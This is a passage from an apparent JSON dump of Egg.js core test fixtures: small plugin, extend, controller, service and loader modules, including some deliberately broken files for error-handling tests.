    "content": "'use strict';\n\nmodule.exports = {\n  a: false,\n\n  b: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/a/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginaApplication: 'plugin a application',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/a/app/extend/context.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginaContext: 'plugin a context',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/a/app/extend/request.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginaRequest: 'plugin a request',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/a/app/extend/response.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginaResponse: 'plugin a response',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/a/package.json",
    "content": "{\n  \"name\": \"a\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/b/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginbApplication: 'plugin b application',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/b/app/extend/context/index.js",
    "content": "module.exports = {\n  pluginbContext: 'plugin b context',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/b/app/extend/request.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginbRequest: 'plugin b request',\n\n  get pluginb() {\n    return 'pluginb';\n  },\n\n  get ip() {\n    return '0.0.0.0';\n  },\n\n  set ip(_) {},\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/b/app/extend/response.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pluginbResponse: 'plugin b response',\n\n  overridePlugin: 'will be overridden',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/node_modules/b/package.json",
    "content": "{\n  \"name\": \"b\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/package.json",
    "content": "{\n  \"name\": \"extend\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-controller-service/app/controller/api.js",
    "content": "module.exports = (app) => {\n  return class ApiController extends app.Controller {\n    async successAction() {\n      const res = await this.service.api.get();\n      this.success({ foo: res });\n    }\n\n    async failAction() {\n      this.fail('something wrong');\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-controller-service/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/success', 'api.successAction');\n  app.get('/fail', 'api.failAction');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-controller-service/app/service/api.js",
    "content": "module.exports = (app) => {\n  return class ApiService extends app.Service {\n    async get() {\n      return await this.getData();\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-controller-service/app.js",
    "content": "module.exports = (app) => {\n  class CustomController extends app.Controller {\n    success(result) {\n      this.ctx.body = {\n        success: true,\n        result,\n      };\n    }\n\n    fail(message) {\n      this.ctx.body = {\n        success: false,\n        message,\n      };\n    }\n  }\n\n  class CustomService extends app.Service {\n    async getData() {\n      return 'bar';\n    }\n  }\n\n  app.Controller = CustomController;\n  app.Service = CustomService;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-controller-service/package.json",
    "content": "{\n  \"name\": \"extend-controller-service\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-env/app/extend/application.custom.js",
    "content": "'use strict';\n\nexports.a = 'a1';\n\nexports.custom = true;\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-env/app/extend/application.js",
    "content": "'use strict';\n\nexports.a = 'a';\nexports.b = 'b';\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-env/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.a = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/a'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-env/package.json",
    "content": "{\n  \"name\": \"extend-env\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-env/plugins/a/app/extend/application.custom.js",
    "content": "'use strict';\n\nexports.b = 'b1';\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-env/plugins/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-symbol/app/extend/application.js",
    "content": "module.exports = {\n  get [Symbol.for('view')]() {\n    return 'view';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-symbol/package.json",
    "content": "{\n  \"name\": \"extend-symbol\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-with-class/app/controller/home.js",
    "content": "export default async function () {\n  const status = Number(this.query.status || 200);\n  this.status = status;\n  this.etag = '2.2.2.2';\n  this.body = {\n    returnAppContext: this.appContext,\n    returnAppRequest: this.request.appRequest,\n    returnAppResponse: this.response.appResponse,\n    returnAppApplication: this.app.appApplication,\n    status: this.status,\n    etag: this.etag,\n  };\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-with-class/app/extend/application.js",
    "content": "import { EggCore } from '../../../../../src/index.ts';\n\nexport default class Application extends EggCore {\n  get appApplication() {\n    return 'app application';\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-with-class/app/extend/context.js",
    "content": "import { Context } from '../../../../../src/index.ts';\n\nexport default class MyContext extends Context {\n  get appContext() {\n    return this.app ? 'app context' : 'no app context';\n  }\n\n  ajax() {\n    return 'app ajax patch';\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-with-class/app/extend/request.js",
    "content": "import { Request } from '../../../../../src/index.ts';\n\nexport default class AppRequest extends Request {\n  get appRequest() {\n    return this.response.app.timing ? 'app request' : 'no app request';\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-with-class/app/extend/response.js",
    "content": "import { Response } from '../../../../../src/index.ts';\n\nexport default class AppResponse extends Response {\n  get appResponse() {\n    return this.app.timing ? 'app response' : 'no app response';\n  }\n\n  set status(code) {\n    this._explicitStatus = true;\n    this.res.statusCode = code;\n    this.res.statusMessage = 'http status code ' + code;\n  }\n\n  get etag() {\n    return 'etag ok';\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-with-class/app/router.js",
    "content": "export default (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend-with-class/package.json",
    "content": "{\n  \"name\": \"extend-with-class\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extends-app-service/app/controller/user.js",
    "content": "module.exports = async function () {\n  this.body = {\n    user: await this.service.user.get('123'),\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extends-app-service/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/user', app.controller.user);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extends-app-service/app/service/user.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class User extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    async get(uid) {\n      return '123mock';\n    }\n  }\n\n  return User;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extends-app-service/package.json",
    "content": "{\n  \"name\": \"cif-service-app\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-dulp/index.js",
    "content": "'use strict';\n\nconst EggApplication = require('../egg').Application;\n\nclass Application extends EggApplication {\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n}\n\nclass Application2 extends Application {\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n}\n\nmodule.exports = Application2;\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-dulp/package.json",
    "content": "{\n  \"name\": \"framework-dulp\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-nosymbol/index.js",
    "content": "'use strict';\n\nconst EggApplication = require('../egg').Application;\n\nclass Application extends EggApplication {\n  get a() {}\n}\n\nclass Application2 extends Application {\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n}\n\nmodule.exports = Application2;\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-nosymbol/package.json",
    "content": "{\n  \"name\": \"framework-nosymbol\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-symbol/config/config.js",
    "content": "'use strict';\n\nmodule.exports = {\n  framework1: 'framework1',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-symbol/index.js",
    "content": "'use strict';\n\nconst Application = require('framework2');\n\nclass Framework extends Application {\n  constructor(options) {\n    super(options);\n  }\n\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n}\n\nmodule.exports = Framework;\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-symbol/package.json",
    "content": "{\n  \"name\": \"framework\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-wrong-eggpath/index.js",
    "content": "'use strict';\n\nconst EggApplication = require('../egg').Application;\n\nclass Application extends EggApplication {\n  [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n}\n\nmodule.exports = Application;\n"
  },
  {
    "path": "packages/core/test/fixtures/framework-wrong-eggpath/package.json",
    "content": "{\n  \"name\": \"framework-wrong-eggpath\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/.eslintrc",
    "content": "{\n  \"extends\": [\n    \"eslint-config-egg/typescript\",\n    \"eslint-config-egg/lib/rules/enforce-node-prefix\"\n  ]\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/.gitignore",
    "content": "node_modules\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/app/controller/foo.ts",
    "content": "export default class FooController {\n  async render() {}\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/app/router.ts",
    "content": "export default (app: any) => {\n  app.router.get('/', async (ctx: any) => {\n    ctx.body = 'Hello World';\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/config/config.default.ts",
    "content": "export default {\n  keys: 'my secret keys',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/package.json",
    "content": "{\n  \"name\": \"helloworld-ts\",\n  \"private\": true,\n  \"scripts\": {\n    \"lint\": \"eslint . --ext .ts\",\n    \"dev\": \"egg-bin dev\",\n    \"pretest\": \"npm run lint -- --fix\",\n    \"test\": \"egg-bin test\",\n    \"preci\": \"npm run lint\",\n    \"ci\": \"egg-bin cov\",\n    \"postci\": \"npm run prepublishOnly && npm run clean\",\n    \"clean\": \"tsc -b --clean\",\n    \"prepublishOnly\": \"npm run clean && tsc\"\n  },\n  \"dependencies\": {\n    \"egg\": \"beta\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"7\",\n    \"@eggjs/mock\": \"6\",\n    \"@eggjs/tsconfig\": \"3\",\n    \"@types/mocha\": \"10\",\n    \"@types/node\": \"24\",\n    \"eslint\": \"8\",\n    \"eslint-config-egg\": \"14\",\n    \"typescript\": \"5\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/test/index.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { describe, it } from 'vitest';\n\ndescribe('example helloworld test', () => {\n  it('should GET / 200', () => {\n    return app.httpRequest().get('/').expect(200).expect('Hello World');\n  });\n\n  it('should GET /foo', async () => {\n    await app.httpRequest().get('/foo').expect(400).expect({\n      foo: 'bar',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/fixtures/helloworld-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false\n  },\n  \"exclude\": [\"test\"]\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/app/controller/home.js",
    "content": "module.exports = async function () {\n  try {\n    this.body = `\n      app: ${this.helper.exists(this.helper.app)}\n      plugin a: ${this.helper.exists(this.helper.a)}\n      plugin b: ${this.helper.exists(this.helper.b)}\n      override: ${this.helper.override()}\n      not exists on locals: ${this.helper.exists(this.notExistsApp)}\n    `;\n  } catch (e) {\n    console.log(e);\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/app/extend/application.js",
    "content": "'use strict';\n\nexports.Helper = class Helper {\n  constructor(ctx) {\n    this.ctx = ctx;\n    this.app = ctx.app;\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/app/extend/context.js",
    "content": "'use strict';\n\nmodule.exports = {\n  get helper() {\n    return new this.app.Helper(this);\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/app/extend/helper.js",
    "content": "exports.app = function () {\n  return 'app';\n};\n\nexports.override = function () {\n  return 'app';\n};\n\nexports.exists = function (obj) {\n  return obj !== undefined;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/config/plugin.js",
    "content": "exports.a = false;\n\nexports.b = true;\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/node_modules/a/app/extend/helper.js",
    "content": "exports.a = function () {};\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/node_modules/a/package.json",
    "content": "{\n  \"name\": \"a\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/node_modules/b/app/extend/helper.js",
    "content": "exports.b = function () {\n  return 'plugin b';\n};\n\nexports.override = function () {\n  return 'plugin b';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/node_modules/b/package.json",
    "content": "{\n  \"name\": \"b\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/helper/package.json",
    "content": "{\n  \"name\": \"helper\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-by-env/config/plugin.custom.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.c = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/c'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-by-env/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.a = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/a'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-by-env/config/plugin.unittest.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.a = false;\n\nexports.b = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/b'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-by-env/package.json",
    "content": "{\n  \"name\": \"load-plugin-by-env\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-by-env/plugins/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-by-env/plugins/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-by-env/plugins/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-config-override/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.zzz = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/zzz'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-config-override/package.json",
    "content": "{\n  \"name\": \"load-plugin-config-override\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-config-override/plugins/zzz/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"zzz\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-default/config/plugin.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.c = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/c'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-default/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.a = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/a'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-default/config/plugin.unittest.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.b = {\n  enable: true,\n  path: path.join(__dirname, '../plugins/b'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-default/package.json",
    "content": "{\n  \"name\": \"load-plugin-default\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-default/plugins/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-default/plugins/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-default/plugins/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-unittest/app/extend/application.local.js",
    "content": "'use strict';\n\nmodule.exports = {\n  local: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-unittest/app/extend/application.unittest.js",
    "content": "'use strict';\n\nmodule.exports = {\n  unittest: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load-plugin-unittest/package.json",
    "content": "{\n  \"name\": \"load-plugin-unittest\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_context_error/app/extend/context.js",
    "content": "'use strict';\nrequire('this is a pen');\nexports.customCon = function* () {\n  this.body = 'test';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_context_error/load_context/package.json",
    "content": "{\n  \"name\": \"load_context\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_context_error/package.json",
    "content": "{\n  \"name\": \"load_context_error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_context_syntax_error/app/extend/context.js",
    "content": "'use strict';\n\nexports.customCon = function * () {\n  this.body = 'test';\n"
  },
  {
    "path": "packages/core/test/fixtures/load_context_syntax_error/package.json",
    "content": "{\n  \"name\": \"load_context_syntax_error\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/babel/UserProxy.js",
    "content": "'use strict';\n\nvar _temporalUndefined = {};\n\nvar _createClass = (function () {\n  function defineProperties(target, props) {\n    for (var i = 0; i < props.length; i++) {\n      var descriptor = props[i];\n      descriptor.enumerable = descriptor.enumerable || false;\n      descriptor.configurable = true;\n      if ('value' in descriptor) descriptor.writable = true;\n      Object.defineProperty(target, descriptor.key, descriptor);\n    }\n  }\n  return function (Constructor, protoProps, staticProps) {\n    if (protoProps) defineProperties(Constructor.prototype, protoProps);\n    if (staticProps) defineProperties(Constructor, staticProps);\n    return Constructor;\n  };\n})();\n\nvar UserProxy = _temporalUndefined;\n\nfunction _temporalAssertDefined(val, name, undef) {\n  if (val === undef) {\n    throw new ReferenceError(name + ' is not defined - temporal dead zone');\n  }\n  return true;\n}\n\nfunction _classCallCheck(instance, Constructor) {\n  if (!(instance instanceof Constructor)) {\n    throw new TypeError('Cannot call a class as a function');\n  }\n}\n\nUserProxy = (function () {\n  function UserProxy() {\n    _classCallCheck(this, _temporalAssertDefined(UserProxy, 'UserProxy', _temporalUndefined) && UserProxy);\n\n    this.user = {\n      name: 'xiaochen.gaoxc',\n    };\n  }\n\n  _createClass(_temporalAssertDefined(UserProxy, 'UserProxy', _temporalUndefined) && UserProxy, [\n    {\n      key: 'getUser',\n      value: function getUser() {\n        return this.user;\n      },\n    },\n  ]);\n\n  return _temporalAssertDefined(UserProxy, 'UserProxy', _temporalUndefined) && UserProxy;\n})();\n\nmodule.exports = _temporalAssertDefined(UserProxy, 'UserProxy', _temporalUndefined) && UserProxy;\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/camelize/FooBar3.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/camelize/foo-bar4.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/camelize/fooBar2.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/camelize/foo_bar1.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/class/UserProxy.js",
    "content": "'use strict';\n\nclass UserProxy {\n  constructor() {\n    this.user = {\n      name: 'xiaochen.gaoxc',\n    };\n  }\n\n  getUser() {\n    return this.user;\n  }\n}\n\nmodule.exports = UserProxy;\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/dao/TestClass.js",
    "content": "'use strict';\n\nmodule.exports = class TestClass {\n  constructor(app, fullpath) {\n    this.user = {\n      name: 'kai.fangk',\n    };\n    this.app = app;\n    this.path = fullpath;\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/dao/testFunction.js",
    "content": "'use strict';\n\nmodule.exports = function (obj) {\n  return {\n    user: {\n      name: 'kai.fangk',\n    },\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/dao/testReturnFunction.js",
    "content": "'use strict';\n\nmodule.exports = function (obj) {\n  return function () {\n    return {\n      user: {\n        name: 'kai.fangk',\n      },\n    };\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/error/dotdir/dot.dir/a.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/error/underscore-dir/_underscore/a.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/error/underscore-file/_private.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/error/underscore-file-in-dir/dir/_a.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/es6_module/mod.js",
    "content": "'use strict';\n\nObject.defineProperty(exports, '__esModule', { value: true });\nexports.default = function () {\n  return { a: 1 };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/filter/arr.js",
    "content": "'use strict';\n\nmodule.exports = ['1'];\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/filter/class.js",
    "content": "'use strict';\n\nmodule.exports = class User {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/filter/object.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: 1,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/ignore/a.js",
    "content": "module.exports = function () {\n  return { a: 1 };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/ignore/util/a.js",
    "content": "module.exports = {\n  method1: function () {},\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/ignore/util/b/b.js",
    "content": "module.exports = { b: 2 };\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/inject/a.js",
    "content": "'use strict';\n\nmodule.exports = class A {\n  constructor(inject) {\n    inject.a = true;\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/inject/b.js",
    "content": "'use strict';\n\nmodule.exports = (inject) => {\n  inject.b = true;\n  return {};\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/lowercase/SomeClass.js",
    "content": "exports.getByName = function (name, callback) {\n  setTimeout(function () {\n    callback(null, { name: name });\n  }, 1);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/lowercase/SomeDir/SomeSubClass.js",
    "content": "exports.getByName = function (name, callback) {\n  setTimeout(function () {\n    callback(null, { name: name });\n  }, 1);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/middlewares/app/m1.js",
    "content": "module.exports = function () {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/middlewares/app/m2.js",
    "content": "module.exports = function () {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/middlewares/app/other/bar.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/middlewares/app/other/foo/ok.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/middlewares/default/dm1.js",
    "content": "module.exports = function () {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/middlewares/default/dm2.js",
    "content": "module.exports = function () {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/middlewares/default/session.js",
    "content": "module.exports = function () {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/overwrite_services/foo.js",
    "content": "/**!\n * loading - test/fixtures/services/foo.js\n *\n * Copyright(c) fengmk2 and other contributors.\n * MIT Licensed\n *\n * Authors:\n *   fengmk2 <fengmk2@gmail.com> (http://fengmk2.github.com)\n */\n\n'use strict';\n\n/**\n * Module dependencies.\n */\n\nexports.get = function (callback) {\n  setTimeout(function () {\n    callback(null, 'overwrite bar');\n  }, 1);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/package.json",
    "content": "{\n  \"name\": \"load_dirs\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/bar.js/aaa",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/dir/abc.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/dir/service.js",
    "content": "module.exports = function (app) {\n  return {\n    load: true,\n    app: app,\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/foo.js",
    "content": "/**!\n * loading - test/fixtures/services/foo.js\n *\n * Copyright(c) fengmk2 and other contributors.\n * MIT Licensed\n *\n * Authors:\n *   fengmk2 <fengmk2@gmail.com> (http://fengmk2.github.com)\n */\n\n'use strict';\n\n/**\n * Module dependencies.\n */\n\nexports.get = function (callback) {\n  setTimeout(function () {\n    callback(null, 'bar');\n  }, 1);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/foo_bar_hello.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/foo_service.js",
    "content": "module.exports = function (obj) {\n  return {\n    a: 1,\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/hyphen-dir/a.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/null.js",
    "content": "module.exports = function () {\n  return;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/tmp",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/underscore_dir/a.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/services/userProfile.js",
    "content": "/**!\n * loading - test/fixtures/services/userProfile.js\n *\n * Copyright(c) fengmk2 and other contributors.\n * MIT Licensed\n *\n * Authors:\n *   fengmk2 <fengmk2@gmail.com> (http://fengmk2.github.com)\n */\n\n'use strict';\n\n/**\n * Module dependencies.\n */\n\nexports.getByName = function (name, callback) {\n  setTimeout(function () {\n    callback(null, { name: name });\n  }, 1);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/syntax_error/error.js",
    "content": "modulde.exports = function (a) {\n  yield a;\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/ts_module/mod.ts",
    "content": "export default function () {\n  return { a: 1 };\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/ts_module/mod2.ts",
    "content": "export const foo = 'bar';\nexport class HelloFoo {}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/ts_module/mod3.ts",
    "content": "export default {\n  ok: true,\n  foo: 'bar',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_dirs/yml/config.yml",
    "content": "---\nmap:\n  a: 1\n  b: 2\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/async.js",
    "content": "'use strict';\n\nmodule.exports = async () => {\n  return { clients: 'Test Config' };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/es-module-default-async.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = async function () {\n  return { clients: 'Test Config' };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/es-module-default-null.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = null;\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/es-module-default-promise.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = function () {\n  return Promise.resolve({ clients: 'Test Config' });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/es-module-default.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = {\n  fn() {},\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/function.js",
    "content": "'use strict';\n\nmodule.exports = (a, b) => [a, b];\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/no-js.yml",
    "content": "---\nmap:\n  a: 1\n  b: 2\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/obj.js",
    "content": "'use strict';\n\nmodule.exports = { a: 1 };\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/package.json",
    "content": "{\n  \"name\": \"load_file\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/load_file/promise_function.js",
    "content": "module.exports = function () {\n  return Promise.resolve({ clients: 'Test Config' });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_to_app/app/model/user.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_to_app/app/service/user.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/load_to_app/package.json",
